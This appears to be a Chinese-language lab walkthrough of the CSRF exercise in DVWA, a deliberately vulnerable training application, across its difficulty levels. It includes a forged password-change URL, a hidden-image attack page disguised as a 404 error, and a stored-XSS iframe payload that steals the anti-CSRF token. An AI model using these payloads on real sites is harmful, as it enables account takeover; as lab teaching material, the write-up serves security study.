csrf全称为:Cross-site request forgery,是一种常见的web攻击。在场景中,攻击者会伪造一个请求(通常是一个链接),然后欺骗目标用户点击,用户一旦点击,攻击也就完成了。
与xss的区别:csrf是借助用户的权限完成攻击,攻击者并没有拿到权限;而xss是直接盗取用户权限去进行破坏。
更改难度:
点击dvwa security,选择难度,然后点击submit完成更改
首先,我们先看一下网页源代码
我们可以看到low难度的源代码中,并没有隐藏的token,这样我们的难度就小了很多。
然后我猜测这里的密码检测是直接将输入的进行拼接,检验password_new与password_conf是否一致。
于是可以先伪造一个简陋的链接:
http://192.168.1.102/dvwa-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
(注:里面的ip要改成自己的)
一旦用户点击链接,就会出现红字:
这样我们就成功地将密码更改为password了
当然,我们可以将链接修饰一下,毕竟这样一看就能看出来。
比如我们可以在网上找一个短链接生成器
也可以利用html构造一个攻击界面
<·img src=“http://192.168.1.102/dvwa-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#” border=“0” style=“display:none;”/>
<·h1>404<·h1>
<·h2>file not found.
我们看一下网页代码:
与low难度一样,没有token,这时候,我们可以看一下源代码
<·?php
if( isset( $_GET[ ‘Change’ ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) ) {
// Get input
$pass_new = $_GET[ ‘password_new’ ];
$pass_conf = $_GET[ ‘password_conf’ ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
(正常如果我们想要知道有什么漏洞只能靠猜,但是现在我们有本地源代码,可以看一下)
比起low难度,多了一行:
if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) )
【 注:在php语言中int eregi(string pattern, string string),译为
检查string函数中是否含有pattern,如果有返回True,反之False。】
因此,此句是判断HTTP_REFERER中是否包含SERVER_NAME
HTTP_REFERER是Referer参数值,即来源地址
SERVER_NAME是host参数及主机ip名(我这里是192.168.1.102)
所以,如果我们想要破解它,就要让Referer参数值包含主机名
我们写一个html文件,和low难度的那个文件内容相同:
<·img src=“http://192.168.1.102/dvwa-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#” border=“0” style=“display:none;”/>
<·h1>404<·h1>
<·h2>file not found.
这次有了token值,这个值并不是很容易就看到的,我们需要在攻击者服务器上获取被攻击者的token值。
csrf攻击本质是重要操作的所有参数,都可以被攻击者猜测到。
因此我们必须要获得token值!
我们要先看一下源代码:
<·?php
if( isset( $_GET[ ‘Change’ ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '' . mysql_error() . '
' );
// Feedback for the user
echo "Password Changed.
";
}
else {
// Issue with passwords matching
echo "Passwords did not match.
";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
好吧,防护措施做的很严密。其实有一种漏洞类型是加token但不加校验。这种漏洞是即使加上了token,服务器也没有进行验证。在这里并不适用,看来我们需要找别的方法。
我们的攻击思路是试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而获得token值,并向服务器发送改密请求,完成攻击。
但是,浏览器并不允许跨域请求,因此,我们可以利用xss漏洞
点击XSS(Stored),我们需要构造一条语句来获取token,由于有字符数限制,这里有两种方法,一是利用burp suite进行抓包,然后改参数,运行获取token。二是利用火狐浏览器。两种大体思路一致,这里我具体说一下第二种。
火狐浏览器打开xss(stored)界面,点击浏览器中的设置->web开发者->查看器,找到和name框架有关的代码(ctrl+f,输入txtname)
我们将size和maxlength值改大一点,
这样,我们就可以在name框中输入构造代码了,代码如下:
<·iframe src="…/csrf"οnlοad=alert(frames[0].document.getElementsByName(‘user_token’)[0].value)>
meesge框随意输入,点击sign guestbook,得到弹窗
此为token,有了这个,我们就可以利用medium中的方法进行攻击。
我们看一下网页代码
不仅有token,还要输入原密码。
再看一下源代码
<·?php
if( isset( $_GET[ ‘Change’ ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "Password Changed.
";
}
else {
// Issue with passwords matching
echo "Passwords did not match or current password incorrect.
";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
加入了PDO预编译语句防止SQL注入,防止CSRF不仅用了token,还要求用户输入原密码,这样在不知道原密码的情况下就无法构造参数。因此,目前还无法破解。